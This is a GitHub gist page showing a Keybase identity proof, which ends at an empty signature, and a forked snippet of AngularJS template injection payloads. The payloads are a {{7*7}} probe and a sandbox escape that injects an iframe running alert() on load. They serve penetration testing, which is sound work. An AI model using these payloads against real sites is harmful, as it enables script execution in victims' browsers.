Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am akurtasinski on github.
  • I am akurtasinski (https://keybase.io/akurtasinski) on keybase.
  • I have a public key ASBLljENPewDXxK4ZKnmlssxsIdS7nyiLLZ0d-gRcWfp5Qo

To claim this, I am signing this object:

@akurtasinski
akurtasinski / AngularTI.md
Created May 13, 2019 07:52 — forked from mccabe615/AngularTI.md
Angular Template Injection Payloads

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';